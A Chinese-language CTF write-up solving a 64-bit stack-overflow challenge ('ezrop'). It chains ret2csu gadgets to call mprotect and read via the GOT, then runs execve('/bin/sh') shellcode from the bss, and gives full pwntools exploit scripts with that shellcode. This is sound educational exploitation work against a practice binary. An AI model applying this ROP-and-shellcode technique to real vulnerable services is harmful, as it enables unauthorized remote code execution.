一次有意思的CTF题目
#记录一次有意思的ctf题目 今天遇到了一个很有意思的题目,现在还没做完,但经过漫长是审计后找到了突破点,现在就带大家一起看看这有意思的,简单的,复杂的rop ##一拿到题目首先检查其安全项目和操作位数
我们可以从上面的图片观察到它是64位程序,几乎没开保护。之后用ida打开这个程序
可以观察到这个程序并不会太复杂,简单判断是read函数造成的溢出。跟着程序往下走,我们很快就找到了溢出点
我们从上面两张图可以发现明显的栈溢出点。当我以为,这题也就这样,几分钟就能拿下时。遇到了意外。##程序利用的难点 这题看似简单,其实一点都不简单。在我开始收集程序信息并疑惑,这么简单的题目为什么没人多少人做出来,分数还特别高时,我发现了一个相当严重的问题
我们可以发现,这些gadget里面压根没有关于rdx寄存器有关的操作,不是没有pop rdx的操作,是完全找不到rdx,这对于我们接下来需要用到的两个重要函数read和mprotect来说是致命的,这就是说我们不能控制这些参数了。起初我还以为可能是我方向错了,以为要用泄露libc库,可是没找到合适的泄露函数使用放弃了。到此为止我总算理解为什么分这么高了,正当我准备放弃时,我被其它题目劝退了,感觉还不如做这个安全系数小的题目,于是我硬着头皮把整个程序的汇编码看了一遍,在里面大海捞针,企图找到突破点,终于,经过我不知道多久的努力后,我找到它了。是他,是他,就是他,虽然我没利用,但我已经听到了他的呼唤
从上图我看到了什么?看到了希望,看到了曲线救国,你敢信,这东西藏在初始化函数里面。不得不说出题人真是好算计,要不是有几个人做出来了,我都怀疑题目出错了。##利用 接下来将一起解决这个有意思的,简单的,复杂的rop。首先找到能控制r12到r15寄存器的点:0x4006dc(上两张图可以看到)**接下来就是对栈精细布局了,在此之前我们还需要一个寄存器:rbx因为我们对这个利用点只用一次,所以我们不需要去控制它,只需要知道他在利用前的值,配合r12精细计算,就能得到我们要的所有地址,我们gdb动态调试一下** 首先利用gdb加载程序,之后对rbx进行监控,确定我们的输入是不会对它造成影响的。,之后再在溢出点前下断定,如果程序直接断到我们的断点就说明rbx没有变过,如果过程中因为rbx改变造成中断,我们就看上下文,与我们的输入有没有关系。在跟踪过程中,前三次次改变是因为setbuf函数,无关。之后rbx寄存器被清空为0。之后就直接到了我们的溢出点,所以结论,rbx寄存器不受我们影响,且在利用前值为0,所以我们等一下直接用r12代表我们的地址 ##开始码payload 首先先把收集得到的东西写出来
from pwn import * fd = process('./ezrop') elf= ELF('ezrop') use=0x4006C0 pop_r12_15=0x4006dc mprotect=elf.plt["mprotect"] bss=0x600AC0 read=elf.plt["read"] pop_rdi=0x4006e3 pop_rsi_r15=0x4006e1
之后写我们的payload
payload=b'a'*0x58+p64(pop_r12_15)+p64(mprotect)+p64(7)+p64(0x1000)+p64(bss)+p64(use)+p64(pop_r12_15)+p64(read)+p64(0x1000)+p64(bss)+p64(0)+p64(use)
其中ues就是我们找的利用点,当写到这里时我发现了一个一开始就忽略的问题
我们往下看函数,可以看到,为了让函数只执行一次,我们需要把rbp寄存器为1,看到这里我也知道了gadget里面的pop_r12_15从哪来了,这里有两种解决方案,修改溢出点的对应的rbp位置,这里也给出payload
payload=b'a'*0x50+p64(1)+p64(pop_r12_15)+p64(mprotect)+p64(7)+p64(0x1000)+p64(bss)+p64(use)
第二种方案,补全我们的pop_r12_15为pop_rbx_rbp_r12_15,这里也给出对应代码
pop_rbx_rbp_r12_15=0x4006DA payload=b'a'*0x58+p64(pop_rbx_rbp_r12_15)+p64(0)+p64(1)+p64(mprotect)+p64(7)+p64(0x1000)+p64(bss)+p64(use)
其中原payload后面的布置也就相应无效了,解决完问题继续往下走 以上是使用mprotect函数,接下来要使用read函数了,在此之前,先把add rsp,8 和一众pop函数填完,这将是我们填参数的地方
payload+=b'a'*8+p64(1)+p64(0)+p64(read)+p64(0x1000)+p64(bss)+p64(0)+p64(use)
最后我们只需要把我们的shellcode写进去,然后把执行流导向纳里就ok了
payload+=b'a'*8+p64(bss)*7 fd.sendline(payload) fd.sendline(shellcode)
ok,到此为止,我们的payload完成了,完整payload:
elf= ELF('ezrop') shellcode=asm(shellcraft.sh()) fd = remote('node2.hackingfor.fun',38256) pop_rbx_rbp_r12_15=0x4006DA use=0x4006C0 pop_r12_15=0x4006dc mprotect=elf.plt["mprotect"] bss=0x600AC0 read=elf.plt["read"] pop_rdi=0x4006e3 pop_rsi_r15=0x4006e1 payload=b'a'*0x50+p64(1)+p64(pop_r12_15)+p64(mprotect)+p64(7)+p64(0x1000)+p64(bss)+p64(use)+b'a'*8+p64(1)+p64(0)+p64(read)+p64(0x1000)+p64(bss)+p64(0)+p64(use)+b'a'*8+p64(bss)*7 fd.sendline(payload) fd.sendline(shellcode) fd.interactive()
然后我们执行代码之后。。。。。
Are you a shellcode master?**我是shellcode大师吗?,我靠居然嘲讽我...,显然的,思路不对。经过调试后我们发现了问题所在call qword ptr [r12+rbx*8]**其中是调用解引用r12之后的地址,不是直接引用r12地址,这波大意了,没有闪。然后就得去寻找哪个地方里面存了mprotect的地址,也就是got表地址, 然后我们又发现还是不能getshell,进行本地调试后我们发现我们没有修改权限成功,然后我突然意识到了什么,于是我把修改权限的地址放在了页的最前面,修改一个页的大小,最后成功getshell。
##最后
from pwn import * context.log_level = 'debug' context.arch = "amd64" fd = process('./ezrop') elf= ELF('ezrop') shellcode=''' /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax syscall ''' shellcode=asm(shellcode) fd = remote('node2.hackingfor.fun',31564) pop_rbx_rbp_r12_15=0x4006DA use=0x4006C0 pop_r12_15=0x4006dc mprotect=elf.got["mprotect"] bss=0x600ac0 change=0x600000 read=elf.got["read"] pop_rdi=0x4006e3 pop_rsi_r15=0x4006e1 vuln=0x400633 payload=b'a'*0x50+p64(1)+p64(pop_r12_15)+p64(mprotect)+p64(7)+p64(0x1000)+p64(change)+p64(use)+b'a'*8+p64(0)+p64(1)+p64(read)+p64(0x1000)+p64(bss)+p64(0)+p64(use)+b'a'*8+p64(bss)*10 fd.sendline(payload) fd.sendline(shellcode) fd.interactive()
